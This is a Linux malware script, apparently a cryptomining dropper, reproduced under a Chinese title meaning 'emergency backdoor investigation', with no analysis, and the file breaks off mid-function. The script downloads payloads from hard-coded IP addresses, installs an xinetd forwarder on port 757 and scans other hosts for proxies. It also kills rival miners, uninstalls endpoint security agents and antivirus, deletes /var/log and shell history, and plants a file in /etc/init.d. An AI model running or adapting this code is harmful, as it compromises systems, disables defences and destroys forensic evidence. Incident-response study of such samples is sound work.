应急后门排查

#!/bin/bash
#if [[ `pgrep -f somescript|wc -l` -gt 2 ]]; then exit; fi
USER=$1
if [[ $USER -ne 1 ]]; then
	USER=0
fi

SKIPUPDATE=$2
if [[ $SKIPUPDATE -ne 1 ]]; then
	SKIPUPDATE=0
fi
set -fb
DNS=$(cat /etc/resolv.conf)
if [[ $DNS == *8.8.8.8* ]]; then
	echo "DNS OK"
else
	echo nameserver 8.8.8.8 >>/etc/resolv.conf
fi
ping -c 1 -q 8.8.8.8 >&/dev/null
if [[ $? -eq 0 ]]; then
	which yum >/dev/null 2>&1
	if [[ $? -eq 0 ]]; then
		packageList="nc wget xinetd"
		for packageName in $packageList; do
			rpm --quiet --query $packageName || sudo yum install -y $packageName >/dev/null 2>&1
		done
	else
		packageList="nc wget xinetd"
		for packageName in $packageList; do
			dpkg -l | grep -qw $packageName || sudo apt-get install -y $packageName >/dev/null 2>&1
		done
	fi
fi
if [ -d /etc/alternatives/.warmup/alternatives ]; then
	rm -fr /etc/alternatives/.warmup/alternatives
fi
if [ -d /root/.warmup/alternatives ]; then
	rm -fr /root/.warmup/alternatives
fi

mkdir /root/.warmup >/dev/null 2>&1
chattr -i -RV /root/.warmup >/dev/null 2>&1
crontab -l | grep -v 'warmup' | crontab -
if [ -f /root/.warmup/ip.txt ]; then
	mkdir /etc/alternatives >/dev/null 2>&1
	\cp /root/.warmup/ip.txt /etc/alternatives/ip.txt
fi
chmod 755 /bin/systemctl >/dev/null 2>&1
if [ -f /etc/alternatives/ip.txt ]; then
	\cp /etc/alternatives/ip.txt /root/.warmup/ip.txt
fi
function get_remote() {
	REQUEST_URL=$1
	OUTPUT_FILENAME=$2
	TEMP_FILE="${THISDIR}/tmp.file"
	retfunc() {
		return "$1"
	}
	REMOTE_SERVER="5.133.65.53
    45.142.212.30"
	echo "$REMOTE_SERVER" | while IFS= read -r line; do
		line=$(echo -e "${line}" | sed -r 's/ //g')
		URL=$(echo "$REQUEST_URL" | sed -r "s#(http?://)?([^/]+)(.*)#\1$line\3#")
		if command -v wget &>/dev/null; then
			InfoP "Try download $FILENAME via a direct connection $line ..."
			if command -v wget &>/dev/null && wget -h 2>&1 | grep -q -- '--tries'; then
				wget --timeout=2 --tries=3 -O "${TEMP_FILE}" "$URL" >/dev/null 2>&1
			else
				wget --timeout=5 -O "${TEMP_FILE}" "$URL" >/dev/null 2>&1
			fi
		elif command -v curl &>/dev/null; then
			InfoP "Try download $FILENAME with Curl via a direct connection $line..."
			curl --connect-timeout 2 -o "${TEMP_FILE}" "$URL" 2>/dev/null
		else
			InfoP "Try download $FILENAME with /dev/tcp via a direct connection $line..."
			__curl "$URL" >"${TEMP_FILE}"
		fi
		########################################################################################
		err=$?
		if [[ $err == 0 ]]; then
			if [ $FILENAME == cronman -o $MY_NAME == $FILE_REZ ]; then
				CHESKSCR=$(cat "${TEMP_FILE}")
				if [[ $CHESKSCR == *root/minfile* ]]; then
					retfunc 2
				else
					retfunc 1
				fi
			elif [ $FILENAME == xbash ]; then
				CHESKSCR=$(cat "${TEMP_FILE}")
				if [[ $CHESKSCR == *cronman* ]]; then
					mkdir -p "/root/gcclib" >/dev/null 2>&1
					TZ='Europe/Moscow' date '+%F %T' >"/root/gcclib/date"
					retfunc 2
				else
					retfunc 1
				fi
			elif [ ! -z $HASH ]; then
				if md5sum -c <<<"$HASH *${TEMP_FILE}"; then
					retfunc 2
				else
					err=1
					retfunc 1
				fi
			else
				retfunc $err
			fi
		fi
		if [[ $? -eq 2 ]]; then
			mv -f "${TEMP_FILE}" "${OUTPUT_FILENAME}"
			chmod 755 "${OUTPUT_FILENAME}"
			InfoG "$FILENAME File downloaded"
			cat <<EOF >/etc/xinetd.d/smtp_forward
service smtp_forward
{
        disable         = no
        type            = UNLISTED
        socket_type     = stream
        protocol        = tcp
        user            = nobody
        wait            = no
        redirect        = $line 80
        port            = 757
		per_source = UNLIMITED
		instances = UNLIMITED
		cps = 10000 1
}
EOF
			return 0
		elif [[ $err -eq 0 ]]; then
			mv -f "${TEMP_FILE}" "${OUTPUT_FILENAME}"
			chmod 755 "${OUTPUT_FILENAME}"
			InfoG "$FILENAME File downloaded"
			return 0
		else
			retfunc 3
		fi
	done
	err=$?
	if [[ $err -eq 3 ]]; then
		unset CHECK_FILE
		if [ -f "/root/$PATH_NAME/ghost" ]; then
			REMOTEHOST=$(cat /root/$PATH_NAME/ghost)
			REMOTEPORT=757
			TIMEOUT=2
			if testport "$REMOTEHOST" $REMOTEPORT; then
				if command -v wget &>/dev/null; then
					InfoP "Try download $FILENAME via $REMOTEHOST..."
					if command -v wget &>/dev/null && wget -h 2>&1 | grep -q -- '--tries'; then
						http_proxy="http://$REMOTEHOST:757" wget --timeout=2 --tries=3 -O "${TEMP_FILE}" "$REQUEST_URL" 2>/dev/null
					else
						http_proxy="http://$REMOTEHOST:757" wget --timeout=5 -O "${TEMP_FILE}" "$REQUEST_URL" 2>/dev/null
					fi
				elif command -v curl &>/dev/null; then
					InfoP "Try download $FILENAME with Curl via $REMOTEHOST..."
					curl -x "$REMOTEHOST:$REMOTEPORT" --connect-timeout 2 -o "${TEMP_FILE}" "$REQUEST_URL" 2>/dev/null
				else
					InfoP "Try download $FILENAME with /dev/tcp via $REMOTEHOST"
					__curl "http://$REMOTEHOST:$REMOTEPORT/soft/linux/$FILENAME" >"${TEMP_FILE}"
				fi
				err=$?
				if [[ $err == 0 ]]; then
					if [ $FILENAME == cronman -o $MY_NAME == $FILE_REZ ]; then
						CHESKSCR=$(cat "${TEMP_FILE}")
						if [[ $CHESKSCR == *root/minfile* ]]; then
							retfunc 2
						else
							err=1
							retfunc 1
						fi
					elif [ $FILENAME == xbash ]; then
						CHESKSCR=$(cat "${TEMP_FILE}")
						if [[ $CHESKSCR == *cronman* ]]; then
							mkdir -p "/root/gcclib" >/dev/null 2>&1
							TZ='Europe/Moscow' date '+%F %T' >"/root/gcclib/date"
							retfunc 2
						else
							err=1
							retfunc 1
						fi
					elif [ ! -z $HASH ]; then
						if md5sum -c <<<"$HASH *${TEMP_FILE}"; then
							retfunc 2
						else
							err=1
							retfunc 1
						fi
					else
						retfunc $err
					fi
				fi
				if [[ $? -eq 2 ]] || [[ $err == 0 ]]; then
					mv -f "${TEMP_FILE}" "${OUTPUT_FILENAME}"
					chmod 755 "${OUTPUT_FILENAME}"
					GOOD_HOST=$REMOTEHOST
					echo $GOOD_HOST >"/root/$PATH_NAME/ghost"
					CHECK_FILE=1
				else
					InfoR "The file is broken "
					unset GOOD_HOST
					CHECK_FILE=0
				fi
			else
				InfoR "$REMOTEHOST Port $REMOTEPORT closed"
				unset GOOD_HOST
				CHECK_FILE=0
			fi
		fi
		if [[ "$CHECK_FILE" -eq 1 ]]; then
			InfoG "$FILENAME File downloaded"
			cat <<EOF >/etc/xinetd.d/smtp_forward
service smtp_forward
{
        disable         = no
        type            = UNLISTED
        socket_type     = stream
        protocol        = tcp
        user            = nobody
        wait            = no
        redirect        = $REMOTEHOST $REMOTEPORT
        port            = 757
		per_source = UNLIMITED
		instances = UNLIMITED
		cps = 10000 1
}
EOF
		else
			if [ -f "/root/$PATH_NAME/ghost" ]; then
				rm -fr /root/$PATH_NAME/ghost 2>/dev/null
			fi
			if [[ ! -z $(cat /root/$PATH_NAME/ip.txt) ]]; then
				port=757
				threads=40
				IPS=''
				echo '' >/root/$PATH_NAME/found757.lst
				echo '' >/root/$PATH_NAME/targets757
				echo '' >/root/$PATH_NAME/logfile757
				IPS=$(cat /root/$PATH_NAME/ip.txt)
				server=''
				for server in $IPS; do
					server=${server//[[:space:]]/}
					echo $port "$server" >>/root/$PATH_NAME/targets757
				done
				InfoP "Scanning port 757..."

				if command -v nc &>/dev/null && nc -h 2>&1 | grep -q -- '-z'; then
					xargs -a /root/$PATH_NAME/targets757 -n 2 -P $threads sh -c 'timeout 30 nc $1 '$port' -z -w 2 >/dev/null 2>&1; echo $? $1 >> /root/'$PATH_NAME'/logfile757'
				elif command -v nc &>/dev/null; then
					xargs -a /root/$PATH_NAME/targets757 -n 2 -P $threads sh -c 'cat /dev/null |timeout 30 nc $1 '$port' -w 2 >/dev/null 2>&1; echo $? $1 >> /root/'$PATH_NAME'/logfile757'
				else
					xargs -a /root/$PATH_NAME/targets757 -n 2 -P $threads bash -c 'timeout 3 bash -c "</dev/tcp/$1/'$port' &>/dev/null 2>&1"; echo $? $1 >> /root/'$PATH_NAME'/logfile757'
				fi

				grep "^0" /root/$PATH_NAME/logfile757 | cut -d " " -f2 >/root/$PATH_NAME/found757.lst
				if [ -f /root/$PATH_NAME/found757.lst ]; then
					FOUND=$(cat /root/$PATH_NAME/found757.lst)
					for server in $FOUND; do
						server=${server//[[:space:]]/}
						if [ ! -z $GOOD_HOST ]; then
							REMOTEHOST=$GOOD_HOST
						else
							REMOTEHOST=$server
						fi
						REMOTEPORT=757
						TIMEOUT=2
						if testport "$REMOTEHOST" $REMOTEPORT; then
							if command -v wget &>/dev/null; then
								InfoP "Try download $FILENAME via $REMOTEHOST..."
								if command -v wget &>/dev/null && wget -h 2>&1 | grep -q -- '--tries'; then
									http_proxy="http://$REMOTEHOST:757" wget --timeout=2 --tries=3 -O "${TEMP_FILE}" "$REQUEST_URL" 2>/dev/null
								else
									http_proxy="http://$REMOTEHOST:757" wget --timeout=5 -O "${TEMP_FILE}" "$REQUEST_URL" 2>/dev/null
								fi
							elif command -v curl &>/dev/null; then
								InfoP "Try download $FILENAME with Curl via $REMOTEHOST..."
								curl -x "$REMOTEHOST:$REMOTEPORT" --connect-timeout 2 -o "${TEMP_FILE}" "$REQUEST_URL" 2>/dev/null
							else
								InfoP "Try download $FILENAME with /dev/tcp via $REMOTEHOST"
								__curl "http://$REMOTEHOST:$REMOTEPORT/soft/linux/$FILENAME" >"${TEMP_FILE}"
							fi
							err=$?
							if [ $FILENAME == cronman -o $MY_NAME == $FILE_REZ ]; then
								CHESKSCR=$(cat "${TEMP_FILE}")
								if [[ $CHESKSCR == *isCentOs8* ]]; then
									retfunc 2
								else
									err=1
									retfunc 1
								fi
							elif [ $FILENAME == xbash ]; then
								CHESKSCR=$(cat "${TEMP_FILE}")
								if [[ $CHESKSCR == *cronman* ]]; then
									mkdir -p "/root/gcclib" >/dev/null 2>&1
									TZ='Europe/Moscow' date '+%F %T' >"/root/gcclib/date"
									retfunc 2
								else
									err=1
									retfunc 1
								fi
							elif [ ! -z $HASH ]; then
								if md5sum -c <<<"$HASH *${TEMP_FILE}"; then
									retfunc 2
								else
									err=1
									retfunc 1
								fi
							else
								retfunc $err
							fi
							if [[ $? -eq 2 ]] || [[ $err == 0 ]]; then
								mv -f "${TEMP_FILE}" "${OUTPUT_FILENAME}"
								chmod 755 "${OUTPUT_FILENAME}"
								GOOD_HOST=$REMOTEHOST
								echo $GOOD_HOST >"/root/$PATH_NAME/ghost"
								CHECK_FILE=1
								break
							else
								InfoR "The file is broken "
								unset GOOD_HOST
							fi
						else
							InfoR "$REMOTEHOST Port $REMOTEPORT closed"
							unset GOOD_HOST
							CHECK_FILE=0
						fi
					done
					if [[ "$CHECK_FILE" -eq 1 ]]; then
						InfoG "$FILENAME File downloaded"
						cat <<EOF >/etc/xinetd.d/smtp_forward
service smtp_forward
{
        disable         = no
        type            = UNLISTED
        socket_type     = stream
        protocol        = tcp
        user            = nobody
        wait            = no
        redirect        = $REMOTEHOST $REMOTEPORT
        port            = 757
		per_source = UNLIMITED
		instances = UNLIMITED
		cps = 10000 1
}
EOF
					else
						return 1
					fi
				else
					return 1
				fi
			else
				return 1
			fi
		fi
	fi
}
function Clean() {
	func_ctr_eppagent() {
		pid=$(pgrep -f "/opt/360sdforcnos/eppagent")
		if [ ! -z "$pid" ] && [ "$1" = "stop" ]; then
			kill -9 "$pid" 2>/dev/null 1>&2
		elif [ -z "$pid" ]; then
			"$HERE"/eppagent >>/dev/null 2>&1 &
		fi
	}
	func_ctr_safed() {
		pid=$(pgrep -f "/opt/360sdforcnos/360safed")
		if [ ! -z "$pid" ] && [ "$1" = "stop" ]; then
			kill -9 "$pid" 2>/dev/null 1>&2
		elif [ -z "$pid" ]; then
			"$HERE"/360safed >>/dev/null 2>&1 &
		fi
	}

	ps -eaf | grep 'spend-secret-key' | grep -v grep | awk '{ print $2 }' | xargs kill -9 >/dev/null 2>&1
	ps -eaf | grep -- '\-\-algo' | grep -v grep | awk '{ print $2 }' | xargs kill -9 >/dev/null 2>&1
	ps -eaf | grep -- "\-\-url" | grep -v grep | awk '{ print $2 }' | xargs kill -9 >/dev/null 2>&1
	ps -eaf | grep -- '\-\-donate-level' | grep -v grep | awk '{ print $2 }' | xargs kill -9 >/dev/null 2>&1
	ps -eaf | grep 'minerd' | grep -v grep | awk '{ print $2 }' | xargs kill -9 >/dev/null 2>&1
	ps -eaf | grep 'xmr' | grep -v grep | awk '{ print $2 }' | xargs kill -9 >/dev/null 2>&1
	ps -eaf | grep 'cryptonight' | grep -v grep | awk '{ print $2 }' | xargs kill -9 >/dev/null 2>&1
	pkill -9 xmrig >/dev/null 2>&1
	pkill -f xmrig >/dev/null 2>&1
	pkill -f Loopback >/dev/null 2>&1
	pkill -f apaceha >/dev/null 2>&1
	pkill -f cryptonight >/dev/null 2>&1
	pkill -f stratum >/dev/null 2>&1
	pkill -f minerd >/dev/null 2>&1
	pkill -9 log-rotate >/dev/null 2>&1
	pkill -9 warmun >/dev/null 2>&1
	pkill -9 kinettd >/dev/null 2>&1

	if [ -f /home/kill_wp.sh ]; then
		chattr -aui /home/kill_wp.sh >>/dev/null 2>&1
		rm -fr /home/kill_wp.sh >>/dev/null 2>&1
	fi

	if [ -f /home/kill_xt.sh ]; then
		chattr -aui /home/kill_xt.sh >>/dev/null 2>&1
		rm -fr /home/kill_xt.sh >>/dev/null 2>&1
	fi

	if [ -f /opt/360sdforcnos/eppagent ]; then
		/opt/360sdforcnos/eppagent --uninstall
	fi

	if [ -f /opt/360sdforcnos/360safed ]; then
		/opt/360sdforcnos/360safed --uninstall
	fi
	if [ -d /opt/360sdforcnos ]; then
		func_ctr_eppagent stop >>/dev/null 2>&1
		func_ctr_safed stop >>/dev/null 2>&1
		rm -fr /opt/360sdforcnos >>/dev/null 2>&1
	fi

	ps cax | grep top.sh
	if [ $? -eq 0 ]; then
		ps -aux | grep "top.sh" | grep -v grep | awk '{print $2}' | xargs kill -9
	fi

	ps cax | grep ds_agent
	if [ $? -eq 0 ]; then
		if [ -f /etc/debian_version ]; then
			dpkg -r ds-agent >>/dev/null 2>&1
		else
			rpm -ev ds_agent >>/dev/null 2>&1
		fi
	fi

	ps cax | grep vm-agent
	if [ $? -eq 0 ]; then
		ps -aux | grep "vm-agent" | grep -v grep | awk '{print $2}' | xargs kill -9
	fi

	ps cax | grep mysqll
	if [ $? -eq 0 ]; then
		ps -aux | grep "mysqll" | grep -v grep | awk '{print $2}' | xargs kill -9
	fi
	if [ -d /tmp/linux/ ]; then
		rm -fr /tmp/linux/
	fi
	if [ -f /KvEdr/uninstall.sh ]; then
		/KvEdr/uninstall.sh
		rm -fr /KvEdr
	fi

	if [ -f /sangfor/edr/agent/bin/eps_uninstall.sh ]; then
		/sangfor/edr/agent/bin/eps_uninstall.sh
	fi
	if [ -f /home/sangfor/edr/agent/bin/eps_uninstall.sh ]; then
		/home/sangfor/edr/agent/bin/eps_uninstall.sh
	fi
	if [ -f /sf/edr/agent/bin/eps_uninstall.sh ]; then
		/sf/edr/agent/bin/eps_uninstall.sh
	fi
	ps cax | grep linux_client
	if [ $? -eq 0 ]; then
		pkill linux_client
	fi
	ps cax | grep edr_agent
	if [ $? -eq 0 ]; then
		fullpath=$(command -v edr_agent)
		filepath="${fullpath%/*}"
		if [ -f $filepath/eps_uninstall.sh ]; then
			$filepath/eps_uninstall.sh
		fi
	fi
	if [ -f /usr/local/bin/linux_client ]; then
		rm -fr /usr/local/bin/linux_client
	fi

	ps cax | grep guard_client
	if [ $? -eq 0 ]; then
		pkill guard_client
	fi
	if [ -f /usr/local/bin/guard_client ]; then
		rm -fr /usr/local/bin/guard_client
	fi
	if [ -f /root/Stream ]; then
		rm -fr /root/Stream
	fi
	if [ -f /root/stream ]; then
		rm -fr /root/stream
	fi
	command -v qaxsafe &>/dev/null
	if [[ $? -eq 0 ]]; then
		yum remove qaxsafe -y >>/dev/null 2>&1
	fi
	if [ -f /opt/qaxsafe/qaxsafed ]; then
		if command -v yum &>/dev/null; then
			rpm -ev qaxsafe >>/dev/null 2>&1
		else
			dpkg -r qaxsafe >>/dev/null 2>&1
		fi
	fi
	if command -v clamav* &>/dev/null; then
		if command -v yum &>/dev/null; then
			rpm -ev clamav* >>/dev/null 2>&1
		else
			dpkg -r clamav* >>/dev/null 2>&1
		fi
	fi

	rm -rf /home/*/.local/share/Trash/*/** >/dev/null 2>&1
	rm -rf /root/.local/share/Trash/*/** >/dev/null 2>&1
	rm -rf /usr/share/man/?? >/dev/null 2>&1
	rm -rf /usr/share/man/??_* >/dev/null 2>&1
	rm -rf /var/log/{*,.*} >/dev/null 2>&1
	rm -rf /core.* >/dev/null 2>&1
	rm -fr /root/install >/dev/null 2>&1
	rm -fr /boot/xmrig >/dev/null 2>&1
	rm -fr /root/xmrig >/dev/null 2>&1
	rm -fr /kinettd >/dev/null 2>&1
	rm -rf /root/.bash_history >/dev/null 2>&1
	if [ -d /opt/nubosh ]; then

		pid=$(ps aux | grep '/opt/nubosh/vmsec-host/net/eng/walnut -D' | grep -v 'grep' | awk '{print $2}')
		kill -9 $pid >>/dev/null 2>&1

		sleep 1
		/sbin/rmmod vmsec_nfq >>/dev/null 2>&1
		sleep 5
		MOD_NUM=$(/sbin/lsmod | grep vmsec_nfq | wc -l)
		if [ $MOD_NUM != 0 ]; then
			sleep 1
		fi

		action $"Stopping ics-agent-net: " /bin/true
		rm -fr /opt/nubosh >/dev/null 2>&1
	fi
	pkill -9 abrtd >/dev/null 2>&1
}
Clean
\cp -r /root/.warmup /etc/alternatives >/dev/null 2>&1
\cp -r /etc/alternatives/.warmup /root >/dev/null 2>&1
cat <<'EOF' >/etc/init.d/modules
TEXTDOMAIN=initscripts

# Make sure umask is sane
umask 022

# Set up a default search path.
PATH="/sbin:/usr/sbin:/bin:/usr/bin"
export PATH

# Get a sane screen width
[ -z "${COLUMNS:-}" ] && COLUMNS=80

[ -z "${CONSOLETYPE:-}" ] && CONSOLETYPE="$(/sbin/consoletype)"

if [ -f /etc/sysconfig/i18n -a -z "${NOLOCALE:-}" -a -z "${LANGSH_SOURCED:-}" ] ; then
  . /etc/profile.d/lang.sh 2>/dev/null
  # avoid propagating LANGSH_SOURCED any further
  unset LANGSH_SOURCED
fi

# Read in our configuration
if [ -z "${BOOTUP:-}" ]; then
  if [ -f /etc/sysconfig/init ]; then
      . /etc/sysconfig/init
  else
    # This all seem confusing? Look in /etc/sysconfig/init,
    # or in /usr/doc/initscripts-*/sysconfig.txt
    BOOTUP=color
    RES_COL=60
    MOVE_TO_COL="echo -en \\033[${RES_COL}G"
    SETCOLOR_SUCCESS="echo -en \\033[1;32m"
    SETCOLOR_FAILURE="echo -en \\033[1;31m"
    SETCOLOR_WARNING="echo -en \\033[1;33m"
    SETCOLOR_NORMAL="echo -en \\033[0;39m"
    LOGLEVEL=1
  fi
  if [ "$CONSOLETYPE" = "serial" ]; then
      BOOTUP=serial
      MOVE_TO_COL=
      SETCOLOR_SUCCESS=
      SETCOLOR_FAILURE=
      SETCOLOR_WARNING=
      SETCOLOR_NORMAL=
  fi
fi

# Interpret escape sequences in an fstab entry
fstab_decode_str() {
	fstab-decode echo "$1"
}

# Check if any of $pid (could be plural) are running
checkpid() {
	local i

	for i in $* ; do
		[ -d "/proc/$i" ] && return 0
	done
	return 1
}

__readlink() {
    ls -bl "$@" 2>/dev/null| awk '{ print $NF }'
}

__fgrep() {
    s=$1
    f=$2
    while read line; do
	if strstr "$line" "$s"; then
	    echo $line
	    return 0
	fi
    done < $f
    return 1
}

__kill_pids_term_kill_checkpids() {
    local base_stime=$1
    shift 1
    local pid=
    local pids=$*
    local remaining=
    local stat=
    local stime=

    for pid in $pids ; do
        [ -e  "/proc/$pid" ] || continue
        read -r line < "/proc/$pid/stat" 2> /dev/null || continue

        stat=($line)
        stime=${stat[21]}

        [ -n "$stime" ] && [ "$base_stime" -lt "$stime" ] && continue
        remaining+="$pid "
    done

    echo "$remaining"
    [ -n "$remaining" ] && return 1

    return 0
}

__kill_pids_term_kill() {
    local try=0
    local delay=3;
    local pid=
    local stat=
    local base_stime=

    # We can't initialize stat & base_stime on the same line where 'local'
    # keyword is, otherwise the sourcing of this file will fail for ksh...
    stat=($(< /proc/self/stat))
    base_stime=${stat[21]}

    if [ "$1" = "-d" ]; then
        delay=$2
        shift 2
    fi

    local kill_list=$*

    kill_list=$(__kill_pids_term_kill_checkpids $base_stime $kill_list)

    [ -z "$kill_list" ] && return 0

    kill -TERM $kill_list >/dev/null 2>&1
    usleep 100000

    kill_list=$(__kill_pids_term_kill_checkpids $base_stime $kill_list)
    if [ -n "$kill_list" ] ; then
        while [ $try -lt $delay ] ; do
            sleep 1
            kill_list=$(__kill_pids_term_kill_checkpids $base_stime $kill_list)
            [ -z "$kill_list" ] && break
            let try+=1
        done
        if [ -n "$kill_list" ] ; then
            kill -KILL $kill_list >/dev/null 2>&1
            usleep 100000
            kill_list=$(__kill_pids_term_kill_checkpids $base_stime $kill_list)
        fi
    fi

    [ -n "$kill_list" ] && return 1
    return 0
}

# __umount_loop awk_program fstab_file first_msg retry_msg retry_umount_args
# awk_program should process fstab_file and return a list of fstab-encoded
# paths; it doesn't have to handle comments in fstab_file.
__umount_loop() {
	local remaining sig=
	local retry=3 count

	remaining=$(LC_ALL=C awk "/^#/ {next} $1" "$2" | sort -r)
	while [ -n "$remaining" -a "$retry" -gt 0 ]; do
		if [ "$retry" -eq 3 ]; then
			action "$3" fstab-decode umount $remaining
		else
			action "$4" fstab-decode umount $5 $remaining
		fi
		count=4
		remaining=$(LC_ALL=C awk "/^#/ {next} $1" "$2" | sort -r)
		while [ "$count" -gt 0 ]; do
			[ -z "$remaining" ] && break
			count=$(($count-1))
			usleep 500000
			remaining=$(LC_ALL=C awk "/^#/ {next} $1" "$2" | sort -r)
		done
		[ -z "$remaining" ] && break
		kill $sig $(fstab-decode /sbin/fuser -m $remaining 2>/dev/null  | sed -e "s/\b$$\b//g") > /dev/null
		sleep 3
		retry=$(($retry -1))
		sig=-9
	done
}

# Similar to __umount loop above, without calling fuser
__umount_loop_2() {
    local remaining=
    local count
    local kill_list

    #call regular umount
	remaining=$(LC_ALL=C awk "/^#/ {next} $1" "$2" | sort -r)
	action "$3" fstab-decode umount $remaining

	count=4
	remaining=$(LC_ALL=C awk "/^#/ {next} $1" "$2" | sort -r)
        while [ "$count" -gt 0 ]; do
                [ -z "$remaining" ] && break
                count=$(($count-1))
                usleep 500000
                remaining=$(LC_ALL=C awk "/^#/ {next} $1" "$2" | sort -r)
        done
	[ -z "$remaining" ] && return 0

	devs=$(stat -c "%d" $remaining)
	action "$4" fstab-decode umount "-l" $remaining

    # find fds that don't start with /, are not sockets or pipes or other.
	# these are potentially detached fds
	detached_fds=$(find /proc/ -regex '/proc/[0-9]+/fd/.*' -printf "%p %l\n" 2>/dev/null |\
			 grep -Ev '/proc/[0-9]+/fd/[0-9]+ (/.*|inotify|\[.+\]|(socket|pipe):\[[0-9]+\])')

	# check each detached fd to see if it has the same device
	# as one of our lazy umounted filesystems
	kill_list=
	[ -n "$detached_fds" ] && while read fdline; do
		fd=${fdline%% *}
		pid=$(echo $fdline | sed -r 's/\/proc\/([0-9]+).+/\1/')
		fd_dev=$(stat -L -c "%d" $fd)
		for dev in $devs ; do
			[ "$dev" = "$fd_dev" ] && kill_list+="$pid "
		done
	done <<< "$detached_fds"

	if [ -n "$kill_list" ] ; then
		STRING=$"Killing processes with open filedescriptors on the unmounted disk:"
		__kill_pids_term_kill $kill_list && success "$STRING" || failure "$STRING"
		echo
    fi
}

__source_netdevs_fstab() {
        NFSFSTAB=$(LC_ALL=C awk '!/^#/ && $3 /root /^nfs/ && $3 != "nfsd" && $4 !/root /noauto/ { print $2 }' /etc/fstab)
        CIFSFSTAB=$(LC_ALL=C awk '!/^#/ && $3 == "cifs" && $4 !/root /noauto/ { print $2 }' /etc/fstab)
        NCPFSTAB=$(LC_ALL=C awk '!/^#/ && $3 == "ncpfs" && $4 !/root /noauto/ { print $2 }' /etc/fstab)
        GLUSTERFSFSTAB=$(LC_ALL=C awk '!/^#/ && $3 == "glusterfs" && $4 !/root /noauto/ { print $2 }' /etc/fstab)
        NETDEVFSTAB=$(LC_ALL=C awk '!/^#/ && $4 /root/_netdev/ && $4 !/root /noauto/ { print $1 }' /etc/fstab)
}

__source_netdevs_mtab() {
        NFSMTAB=$(LC_ALL=C awk '$3 /root /^nfs/ && $3 != "nfsd" && $2 != "/" { print $2 }' /proc/mounts)
        CIFSMTAB=$(LC_ALL=C awk '$3 == "cifs" { print $2 }' /proc/mounts)
        NCPMTAB=$(LC_ALL=C awk '$3 == "ncpfs" { print $2 }' /proc/mounts)
        GLUSTERFSMTAB=$(LC_ALL=C awk '$3 == "fuse.glusterfs" { print $2 }' /proc/mounts)
        NETDEVMTAB=$(LC_ALL=C awk '$4 /root /_netdev/ && $2 != "/" { print $2 }' /etc/mtab)

        ALLNETDEVMTAB="$NFSMTAB $CIFSMTAB $NCPMTAB $GLUSTERFSMTAB $NETDEVMTAB"
}

# Similar to __umount loop above, specialized for loopback devices
__umount_loopback_loop() {
	local remaining devremaining sig=
	local retry=3

        __find_mounts() {
                if [ "$1" = "--netdev" ] ; then
                       __source_netdevs_mtab
                       remaining=
                       devremaining=
                       local mount= netdev= _rest
                       while read -r dev mount _rest ; do
                               [ "$dev" = "${dev##/dev/loop}" ] && continue
                               local back_file=$(losetup $dev | sed -e 's/^\/dev\/loop[0-9]\+: \[[0-9a-f]\+\]:[0-9]\+ (\(.*\))$/\1/')
                               for netdev in $ALLNETDEVMTAB ; do
                                        local netdev_decoded=
                                        netdev="${netdev}/"
                                        netdev_decoded=$(fstab_decode_str ${netdev})
                                        if [ "$mount" != "${mount##$netdev}" ] || [ "$back_file" != "${back_file##$netdev_decoded}" ] ; then
                                                remaining="$remaining $mount"
                                                #device might be mounted in other location,
                                                #but then losetup -d will be noop, so meh
                                                devremaining="$devremaining $dev"
                                                continue 2
                                        fi
                               done
                        done < /proc/mounts
                else
                        remaining=$(awk '$1 /root /^\/dev\/loop/ && $2 != "/" {print $2}' /proc/mounts)
                        devremaining=$(awk '$1 /root /^\/dev\/loop/ && $2 != "/" {print $1}' /proc/mounts)
                fi
        }

        __find_mounts $1

	while [ -n "$remaining" -a "$retry" -gt 0 ]; do
		if [ "$retry" -eq 3 ]; then
			action $"Unmounting loopback filesystems: " \
				fstab-decode umount $remaining
		else
			action $"Unmounting loopback filesystems (retry):" \
				fstab-decode umount $remaining
		fi
                
		for dev in $devremaining ; do
                        if [ "$1" = "--netdev" ] ; then
                                #some loopdevices might be mounted on top of non-netdev
                                #so ignore failures
                                losetup -d $dev > /dev/null 2>&1 
                        else
                                losetup $dev > /dev/null 2>&1 && \
                                        action $"Detaching loopback device $dev: " \
                                        losetup -d $dev
                fi
                done
                #check what is still mounted
                __find_mounts $1
		[ -z "$remaining" ] && break
		fstab-decode /sbin/fuser -k -m $sig $remaining >/dev/null
		sleep 3
		retry=$(($retry -1))
		sig=-9
	done
}

# __proc_pids {program} [pidfile]
# Set $pid to pids from /var/run* for {program}.  $pid should be declared
# local in the caller.
# Returns LSB exit code for the 'status' action.
__pids_var_run() {
	local base=${1##*/}
	local pid_file=${2:-/var/run/$base.pid}
	local pid_dir=$(/usr/bin/dirname $pid_file)
	local binary=$3

	[ -d "$pid_dir" -a ! -r "$pid_dir" ] && return 4

	pid=
	if [ -f "$pid_file" ] ; then
	        local line p

		[ ! -r "$pid_file" ] && return 4 # "user had insufficient privilege"
		while : ; do
			read line
			[ -z "$line" ] && break
			for p in $line ; do
				if [ -z "${p//[0-9]/}" -a -d "/proc/$p" ] ; then
					if [ -n "$binary" ] ; then
						local b=$(readlink /proc/$p/exe | sed -e 's/\s*(deleted)$//')
						[ "$b" != "$binary" ] && continue
					fi
					pid="$pid $p"
				fi
			done
		done < "$pid_file"

	        if [ -n "$pid" ]; then
	                return 0
	        fi
		return 1 # "Program is dead and /var/run pid file exists"
	fi
	return 3 # "Program is not running"
}

# Output PIDs of matching processes, found using pidof
__pids_pidof() {
	pidof -c -m -o $$ -o $PPID -o %PPID -x "$1" || \
		pidof -c -m -o $$ -o $PPID -o %PPID -x "${1##*/}"
}


# A function to start a program.
daemon() {
	# Test syntax.
	local gotbase= force= nicelevel corelimit
	local pid base= user= nice= bg= pid_file=
	local cgroup=
	nicelevel=0
	while [ "$1" != "${1##[-+]}" ]; do
	  case $1 in
	    '')    echo $"$0: Usage: daemon [+/-nicelevel] {program}" "[arg1]..."
	           return 1;;
	    --check)
		   base=$2
		   gotbase="yes"
		   shift 2
		   ;;
	    --check=?*)
	    	   base=${1#--check=}
		   gotbase="yes"
		   shift
		   ;;
	    --user)
		   user=$2
		   shift 2
		   ;;
	    --user=?*)
	           user=${1#--user=}
		   shift
		   ;;
	    --pidfile)
		   pid_file=$2
		   shift 2
		   ;;
	    --pidfile=?*)
		   pid_file=${1#--pidfile=}
		   shift
		   ;;
	    --force)
	    	   force="force"
		   shift
		   ;;
	    [-+][0-9]*)
	    	   nice="nice -n $1"
	           shift
		   ;;
	    *)     echo $"$0: Usage: daemon [+/-nicelevel] {program}" "[arg1]..."
	           return 1;;
	  esac
	done

        # Save basename.
        [ -z "$gotbase" ] && base=${1##*/}

